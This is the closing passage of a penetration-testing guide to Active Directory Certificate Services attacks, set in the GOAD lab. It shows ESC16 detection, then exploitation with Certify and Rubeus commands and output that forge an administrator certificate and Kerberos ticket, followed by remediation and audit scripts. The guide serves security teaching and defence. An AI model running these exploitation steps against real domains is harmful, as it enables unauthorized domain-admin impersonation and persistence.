[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Finding certificate authority configurations
[*] Found 1 certificate authority configuration

[!] ESC16: CA 'ESSOS-CA' is configured to omit szOID_NTDS_CA_SECURITY_EXT on all
certificates!
    This makes ALL certificates vulnerable to impersonation attacks.

    CA Name                          : ESSOS-CA
    DNS Hostname                     : braavos.essos.local
    Certificate Subject              : CN=ESSOS-CA, DC=essos, DC=local
    Certificate Serial Number        : 43000000119278B092E51688A600000000000011
    Certificate Validity Start       : 2023-01-15 14:14:32+00:00
    Certificate Validity End         : 2033-01-15 14:24:32+00:00
    Security Extension Enforcement   : DISABLED (ESC16 VULNERABLE!)

# Check CA configuration manually
certutil -config "braavos.essos.local\ESSOS-CA" -getreg
CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\ESSOS-
CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags REG_DWORD
= 0x80000 (524288)
```

Look for missing EDITF_ENABLEDEFAULTSMIME (0x10000) or similar flags that enforce security extension. If EditFlags shows the CA has been configured to skip security extensions, ESC16 is present.

Exploitation

With ESC16, ANY certificate request becomes dangerous:

```
# ESC16 makes even restricted templates exploitable
# Request certificate from a normally "safe" template
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:User
/altname:administrator@essos.local

[*] Action: Request a Certificates
[*] Current user context    : ESSOS\missandei
[*] Template                : User
[*] Subject                 : CN=missandei, CN=Users, DC=essos, DC=local
[*] AltName                 : administrator@essos.local

[*] Certificate Authority   : braavos.essos.local\ESSOS-CA
[*] CA Response             : The certificate has been issued.
[*] Request ID              : 20

# Due to ESC16, the certificate lacks the security extension
# even though the template might normally include it

# Convert and use for authentication
openssl pkcs12 -in cert.pem -export -out admin_esc16.pfx -password pass:mimikatz

# Authentication succeeds despite missing security extension

Rubeus.exe asktgt /user:administrator /certificate:admin_esc16.pfx
/password:mimikatz

[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=missandei, CN=Users,
DC=essos, DC=local
[+] TGT request successful! - ESC16 allows impersonation without SID binding

  UserName                 : administrator
  UserRealm                : ESSOS.LOCAL
  ServiceName              : krbtgt/essos.local
  ServiceRealm             : ESSOS.LOCAL
  StartTime                : 1/3/2025 7:45:30 PM
  EndTime                  : 1/4/2025 5:45:30 AM
  RenewTill                : 1/10/2025 7:45:30 PM
  Flags                    : name_canonicalize, pre_authent, initial, renewable,
forwardable
```

Remediation

Immediate Fix:

```
# Re-enable security extension requirement on GOAD CA
# Method 1: Remove szOID_NTDS_CA_SECURITY_EXT from DisableExtensionList
(Recommended)
certutil -config "braavos.essos.local\ESSOS-CA" -setreg
CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\DisableExtensionList
-"1.3.6.1.4.1.311.25.2"

CertUtil: -setreg command completed successfully.

# Method 2: Alternative approach using EDITF_ENABLEDEFAULTSMIME (also effective)
certutil -config "braavos.essos.local\ESSOS-CA" -setreg
CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags
+EDITF_ENABLEDEFAULTSMIME

# Restart Certificate Services
Restart-Service CertSvc

WARNING: Waiting for service 'Active Directory Certificate Services (CertSvc)' to
stop...
WARNING: Waiting for service 'Active Directory Certificate Services (CertSvc)' to
start...

Status   Name               DisplayName
------   ----               -----------
Running  CertSvc            Active Directory Certificate Services

# Enable Strong Certificate Binding Enforcement on Domain Controllers
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc\Parameters" -
Name "StrongCertificateBindingEnforcement" -Value 2
Restart-Service kdc

# This ensures DCs reject certificates lacking the szOID_NTDS_CA_SECURITY_EXT
extension

# Verify the fix
certutil -config "braavos.essos.local\ESSOS-CA" -getreg
CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\DisableExtensionList

# The DisableExtensionList should no longer contain 1.3.6.1.4.1.311.25.2
```

Long-term Hardening:

```
# Import required PowerShell module
Import-Module ActiveDirectory

# Audit all CAs in GOAD environment for ESC16
$goadCAs = @(
    "braavos.essos.local\ESSOS-CA",
    "kingslanding.sevenkingdoms.local\SEVENKINGDOMS-CA",
    "winterfell.north.sevenkingdoms.local\NORTH-CA"
)

foreach ($ca in $goadCAs) {
    Write-Host "[*] Checking CA: $ca for ESC16"

    try {
        $disableExtList = certutil -config $ca -getreg
CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\DisableExtensionList

        # Check if szOID_NTDS_CA_SECURITY_EXT is in the disable list
        if ($disableExtList -match "1\.3\.6\.1\.4\.1\.311\.25\.2") {
            Write-Warning "[!] ESC16 detected on CA: $ca"
            Write-Warning "    szOID_NTDS_CA_SECURITY_EXT is disabled"

            # Fix the misconfiguration by removing the OID from
DisableExtensionList
            certutil -config $ca -setreg
CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\DisableExtensionList
-"1.3.6.1.4.1.311.25.2"
            Write-Host "[+] Fixed ESC16 on CA: $ca"
        } else {
            Write-Host "[+] CA $ca is not vulnerable to ESC16"
        }
    }
    catch {
        Write-Warning "[-] Failed to check CA: $ca"
    }
}
```

```
[*] Checking CA: braavos.essos.local\ESSOS-CA for ESC16
[!] ESC16 detected on CA: braavos.essos.local\ESSOS-CA
    szOID_NTDS_CA_SECURITY_EXT is disabled
[+] Fixed ESC16 on CA: braavos.essos.local\ESSOS-CA

[*] Checking CA: kingslanding.sevenkingdoms.local\SEVENKINGDOMS-CA for ESC16
[+] CA kingslanding.sevenkingdoms.local\SEVENKINGDOMS-CA is not vulnerable to
ESC16
```

References and Further Reading

This guide builds upon groundbreaking research from the security community, with all examples demonstrated in the GOAD (Game of Active Directory) lab environment:

Tools and Resources:

For the latest ADCS research, monitor:

Conclusion

ADCS attacks are some of the most powerful privilege escalation and persistence techniques I've used in modern Windows environments. The techniques I've covered in this guide - from ESC1 through ESC16 - show just how dangerous certificate services can be when they're not properly secured.

All the examples in this article were demonstrated using the GOAD (Game of Active Directory) lab environment, which provides realistic domain configurations like `essos.local`, `sevenkingdoms.local`, and `north.sevenkingdoms.local`. This practical approach with real command outputs and authentic certificate configurations makes these techniques immediately applicable to real-world assessments.

Here's what you need to remember:

1. **Default configurations are your friend (as an attacker)** - Most organizations deploy ADCS with insecure defaults and never change them, just like what we found in GOAD
2. **Certificate templates are the goldmine** - They're the primary attack vector for most ADCS exploits, as demonstrated with templates like ESC1, ESC4, and WebServer in GOAD
3. **CA-level misconfigurations are critical** - ESC16 shows how a single CA setting can make ALL certificates vulnerable, regardless of template security
4. **Permissions are everything** - Weak ACLs on PKI objects create tons of attack opportunities, like `khal.drogo` having WriteProperty on templates or `viserys.targaryen` having ManageCA rights
5. **Detection is hard** - Many ADCS attacks blend in perfectly with legitimate certificate operations, especially in complex environments like GOAD with multiple domains and CAs
6. **Persistence is incredible** - Certificate-based backdoors survive password changes and account modifications, making them perfect for long-term access

For red teamers, ADCS should be a standard part of your privilege escalation methodology. I check for these misconfigurations on every single engagement now because they're so common and effective. The GOAD lab provides an excellent testing ground to practice these techniques before using them in real assessments.

For defenders, you need to implement proper monitoring, harden those template configurations, audit CA settings for ESC16, and regularly audit PKI permissions. The detection scripts and remediation strategies I've provided here are specifically designed for multi-domain environments like GOAD and can be adapted for real production networks.

The techniques in this guide will keep evolving as researchers discover new attack vectors. ESC16 is a perfect example of how new vulnerabilities continue to emerge in the ADCS space. Stay current with the latest ADCS research and always test these techniques in lab environments like GOAD before using them in production assessments.

Disclaimer: This article is provided for educational purposes only. The techniques described should only be used in authorized environments and security research contexts. Always follow responsible disclosure practices and operate within legal and ethical boundaries.